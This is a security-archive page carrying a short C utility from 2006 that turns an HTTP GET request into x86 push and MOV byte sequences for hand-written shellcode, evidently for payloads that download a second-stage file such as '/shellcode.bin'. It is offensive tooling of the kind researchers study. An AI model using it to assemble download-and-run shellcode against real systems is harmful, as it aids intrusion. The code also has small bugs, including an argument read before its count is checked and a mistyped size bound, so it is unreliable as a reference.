what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

gen_httpreq.c

gen_httpreq.c
Posted Nov 7, 2006
Authored by Izik

Small utility designed for generating HTTP/1.x requests for shellcodes.

tags | web, shellcode
SHA-256 | 1c5e4b2c58884668e99c7345778c7905c9db49401533dd861cc9e4d916255aa3

gen_httpreq.c

Change Mirror Download
/*
* gen_httpreq.c, utility for generating HTTP/1.x requests for shellcodes
*
* SIZES:
*
* HTTP/1.0 header request size - 18 bytes+
* HTTP/1.1 header request size - 26 bytes+
*
* NOTE: The length of the selected HTTP header is stored at EDX register.
* Thus the generated MOV instruction (to EDX/DX/DL) is size-based.
*
* - izik@tty64.org
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdarg.h>
#include <string.h>

#define X86_PUSH \
0x68

#define X86_MOV_TO_DL(x) \
printf("\t\"\\xb2\\x%02x\"\n", x & 0xFF);

#define X86_MOV_TO_DX(x) \
printf("\t\"\\x66\\xba\\x%02x\\x%02x\"\n", \
(x & 0xFF), ((x >> 8) & 0xFF));

#define X86_MOV_TO_EDX(x) \
printf("\t\"\\xba\\x%02x\\x%02x\\x%02x\\x%02x\"\n", \
(x & 0xFF), ((x >> 8) & 0xFF), ((x >> 16) & 0xFF), ((x >> 24) & 0xFF));

void usage(char *);
int printx(char *fmt, ...);

int main(int argc, char **argv) {

if (argc < 2) {
usage(argv[0]);
return -1;
}

if (argv[2][0] != '/') {

fprintf(stderr, "filename must begin with '/' as any sane URL! (e.g. /index.html)\n");

return -1;
}

if (!strcmp(argv[1], "-0")) {

return printx("GET %s HTTP/1.0\r\n\r\n", argv[2]);
}

if (!strcmp(argv[1], "-1")) {

if (argc != 4) {

fprintf(stderr, "missing <host>, required parameter for HTTP/1.1 header! (e.g. www.tty64.org)\n");

return -1;
}

return printx("GET %s HTTP/1.1\r\nHost: %s\r\n\r\n", argv[2], argv[3]);
}

fprintf(stderr, "%s: unknown http protocol, try -0 or -1\n", argv[1]);

return -1;
}

/*
* usage, display usage screen
* * basename, barrowed argv[0]
*/

void usage(char *basename) {

printf(
"usage: %s <-0|-1> <filename> [<host>]\n\n"
"\t -0, HTTP/1.0 GET request\n"
"\t -1, HTTP/1.1 GET request\n"
"\t <filename>, given filename (e.g. /shellcode.bin)\n"
"\t <host>, given hostname (e.g. www.tty64.org) [required for HTTP 1.1]\n\n",
basename);

return ;
}

/*
* printx, fmt string. generate the shellcode chunk
* * fmt, given format string
*/

int printx(char *fmt, ...) {
va_list ap;
char buf[256], pad_buf[4], *w_buf;
int pad_length, buf_length, i, tot_length;

memset(buf, 0x0, sizeof(buf));

va_start(ap, fmt);
vsnprintf(buf, sizeof(buf), fmt, ap);
va_end(ap);

buf_length = strlen(buf);

printf("\nURL: %s\n", buf);
printf("Header Length: %d bytes\n", buf_length);

for (i = 1; buf_length > (i * 4); i++) {
pad_length = ((i+1)*4) - buf_length;
}

printf("Padding Length: %d bytes\n\n", pad_length);

tot_length = buf_length + pad_length;

w_buf = buf;

if (pad_length) {

w_buf = calloc(tot_length, sizeof(char));

if (!w_buf) {

perror("calloc");
return -1;
}

i = index(buf, '/') - buf;

memset(pad_buf, 0x2f, sizeof(pad_buf));

memcpy(w_buf, buf, i);
memcpy(w_buf+i, pad_buf, pad_length);
memcpy(w_buf+pad_length+i, buf+i, buf_length - i);
}

for (i = tot_length - 1; i > -1; i-=4) {

printf("\t\"\\x%02x\\x%02x\\x%02x\\x%02x\\x%02x\" // pushl $0x%02x%02x%02x%02x\n",
X86_PUSH, w_buf[i-3], w_buf[i-2], w_buf[i-1], w_buf[i], w_buf[i-3], w_buf[i-2], w_buf[i-1], w_buf[i]);
}

if (pad_length) {

free(w_buf);
}

//
// The EDX register is assumed to be zero-out within the shellcode.
//

if (tot_length < 256) {

// 8bit value

X86_MOV_TO_DL(tot_length);

} else if (tot_length < 655356) {

// 16bit value

X86_MOV_TO_DX(tot_length);

} else {

// 32bit value, rarely but possible ;-)

X86_MOV_TO_EDX(tot_length);

}

fputc('\n', stdout);

return 1;
}


Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    17 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close